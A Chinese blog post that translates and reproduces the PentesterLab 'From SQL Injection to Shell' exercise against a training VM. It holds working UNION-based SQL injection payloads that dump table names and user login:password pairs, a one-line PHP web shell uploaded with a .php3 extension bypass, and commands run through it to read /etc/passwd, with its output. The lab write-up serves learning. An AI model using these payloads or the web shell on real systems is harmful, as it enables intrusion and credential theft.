本文翻译了[Pentester Lab]From SQL Injection to Shell的要点,记录了笔者按照教程进行复现的过程。
By the way,庆祝一下自己拿到的第一个Web Shell(虽然是靶机233333
实验目的:
攻击可以分为3个步骤:
使用浏览器,可以侦察到该Web应用是使用PHP实现的。
工具:wfuzz
命令如下:
wfuzz -c -z file,wordlist/general/big.txt --hc 404 http://vulnerable/FUZZ
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer *
********************************************************
Target: http://vulnerable/FUZZ
Total requests: 3036
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000138: C=301 9 L 28 W 308 Ch "admin"
000547: C=200 92 L 141 W 1858 Ch "cat"
000586: C=403 10 L 30 W 286 Ch "cgi-bin/"
000642: C=301 9 L 28 W 310 Ch "classes"
000761: C=301 9 L 28 W 306 Ch "css"
001290: C=200 40 L 63 W 796 Ch "header"
001362: C=301 9 L 28 W 309 Ch "images"
001375: C=200 71 L 103 W 1343 Ch "index"
002489: C=200 70 L 108 W 1320 Ch "show"
Total time: 3.939425
Processed Requests: 3036
Filtered Requests: 3027
Requests/sec.: 770.6706
以SELECT为例:
SELECT column1, column2, column3 FROM table1 WHERE column4='string1' AND column5=interger1 AND column6=interger2;
命令由以下部分组成:(1)SELECT陈述(2)目标列(3)指定表名(4)WHERE指定条件
SELECT * FROM tablename
显示该表中的所有列
/article.php?id=2-1
/article.php?id=2-0
'
,应该会得到报错信息categorie.php?id=1
,也可以使用categorie.php?id='1'
,SQL允许整数直接输入,也允许整数带单引号,作为字符串输入(比直接使用整数要慢一些)。'
会破坏查询语法,并且产生一个错误。 ''
不会破坏查询。' --
将查询的后半部分给注释掉。 SELECT id,name FROM users where name='test' and id=3;
SELECT id,name FROM users where name='test' --' and id=3;
SELECT id,name FROM users where name='test
SELECT id,name FROM users where ( name='test' and id=3 );
' and '1'='1
不太可能影响查询的语义,所以查询的结果和没有注入的时候很可能是一样的。作为比较,使用' and '1'='0
不太可能产生错误,但是很可能改变查询的语义。在网页http://vulnerable/cat.php
找到SQL注入点之后,我们需要利用它来获取更多信息。所以,我们需要了解SQL中的UNION
关键字。
SELECT id,name,price FROM articles WHERE id=3 UNION SELECT id,login,password FROM users
如果使用UNION,并且两个查询的列数是不同的,那么数据库会抛出一个错误。
The used SELECT statements have a different
number of columns
通过这个属性,可以猜测出列的数目。例如,对于如下查询:
SELECT id,name,price FROM articles where id=1
可以通过下面的步骤进行尝试:
SELECT id,name,price FROM articles where id=1 UNION SELECT 1
SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2
SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3
该方法适用于MySQL,其他的数据库应该把值1,2,3,...
改为null,null,null,...
。因为数据库对于UNION关键字需要相同的类型的值。对于Oracle,在使用SELECT时必须也使用FROM关键字,而dual表可以用来补全请求:UNION SELECT null,null,null FROM dual
。
ORDER BY
通常用于指定数据库使用哪个列进行排序。SELECT firstname,lastname,age,groups FROM users ORDER BY firstname
上述请求会返回用户信息,并按照firstname列进行排序。
ORDER BY
可以同一个整数一起使用,使数据库按照第X列进行排序。
SELECT firstname,lastname,age,groups FROM users ORDER BY 3
上述请求会使用第3列进行排序。
这个特征可以用来检测列的数量,如果ORDER BY
中的列号,大于查询中的列数,则会抛出一个错误。例如使用了列号10:
Unknown column '10' in 'order clause'
可以利用这个属性来猜测列的数目。例如,可以注入下面的查询:
SELECT id,name,price FROM articles where id=1
可以尝试下面的步骤:
SELECT id,name,price FROM articles where id=1 ORDER BY 5 -- error
SELECT id,name,price FROM articles where id=1 ORDER BY 3 -- correct
SELECT id,name,price FROM articles where id=1 ORDER BY 4 -- error
基于这种二分查找,可以确定列数为3。然后可以构建最终的查询:
SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3
二分查找在列数较大的情况下,速度可以显著加快。
确定了列数之后,我们可以从数据库中获取信息。基于获取的错误信息,我们可以确定后端的数据库是MySQL。
使用这个信息,我们可以强制数据库执行一个函数,或者给我们泄露信息:
current_user()
连接到数据库version()
为了执行这两个函数,我们需要把前面语句中的一个值,替换为我们想要运行的函数,从而获取response中的结果。
注意,在获取信息时要确保列数是正确的。
可以通过下面的例子获取信息:
http://vulnerable/cat.php?id=1%20UNION%20SELECT%201,@@version,3,4
http://vulnerable/cat.php?id=1%20UNION%20SELECT%201,current_user(),3,4
http://vulnerable/cat.php?id=1%20UNION%20SELECT%201,database(),3,4
MySQL 5之后的版本,提供了包含数据库,表和列等元数据的表。我们要利用这些表,来获取我们需要的信息,从而构建最终的查询。这些表存储在数据库information_schema
中。可以使用下列查询:
SELECT table_name FROM information_schema.tables
SELECT column_name FROM information_schema.columns
通过把这些查询混合在之前的URL中,可以猜出访问哪些网页来获取信息:
- 所有表的list:1 UNION SELCET 1,table_name,3,4 FROM information_schema.tables
- 所有列的list:1 UNION SELCE 1,column_name,3,4 FROM information_schema.columns
这些查询提供了所有表和列的原始list,但是为了查询数据库来获取感兴趣的信息,你需要知道哪些列是属于哪些表的。幸运的是,表information_schema.columns
存储了这些表名:
SELCET table_name,colum_name FROM information_schema.columns
为了获取信息,我们有两种方式:
1 UNION SELCET 1,table_name,column_name,4 FROM information_schema.columns
CONCAT
:1 UNION SELCET 1,concat(table_name,':',column_name),3,4 FROM information_schema.columns
其中':'
用来在查询结果中清晰地分隔两个部分。
如果想要使用正则表达式,从结果页中轻松地获取信息(比如写一个SQL注入的脚本),你可以在注入中使用一个标记:
1 UNION SELECT 1,concat('^^^',table_name,':',column_name,'^^^') FROM information_schema.columns
。这样就可以轻松匹配到页面的结果。
目前,可以获取到一个关于表和列的list,第一个表和列是默认的MySQL表。在HTML页面的结尾,可以得到一个表的list,很可能是当前的应用使用的表。
通过这些信息,可以构建一个查询,来获取表中的信息:
1 UNION SELECT 1,concat(login,':',password),3,4 FROM users;
SQL注入提供的权限,等于应用连接到数据库所使用的用户(
current_user
)权限。这就是为什么强调,在部署Web应用时要坚持“最小权限原则”。
管理员界面有一个文件上传功能,允许用户上传一张图片,因此可以尝试使用该功能上传一段PHP代码。上传的PHP代码可以给我们提供一个运行PHP代码和命令的途径。
system($_GET['cmd']);
?>
可以使用下列后缀名绕过:
.php3
.php.test
怎样可以获取到上传图片的存放路径?查看网页源码,可以看到标签指向的图片的路径。
<div class="content">
<h2 class="title">Last picture: Test shellh2>
<div class="inner" align="center">
<p>
<img src="admin/uploads/shell.php3" alt="Test shell" /> p>
div>
div>
cmd
参数来运行代码。通过uname
命令可以获取当前的系统内核(Linux
)。
http://vulnerable/admin/uploads/shell.php3?cmd=uname
cat /etc/passwd
:系统用户的完整列表
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:103:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin user:x:1000:1000:Debian Live user,,,:/home/user:/bin/bash
uname -a
:当前内核的版本
Linux debian 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686 GNU/Linux
ls
:获取当前目录的内容
cthulhu.png hacker.png ruby.jpg shell.php3
/etc/shadow
文件的内容,因为Web Server也没有访问该文件的权限。但是依然值得试一试,也许管理员错误地改变了这个文件的权限。cd /etc
和ls
来获得/etc
目录的内容,因为第2条命令会处于新的上下文中。为了获取目录/etc
的内容,可以使用ls /etc
命令。/etc/php5/apache2/php.ini
)中,启用magic_quotes_gpc
,禁用display_errors
。然后重启Web Server(/etc/init.d/apache2 restart
)。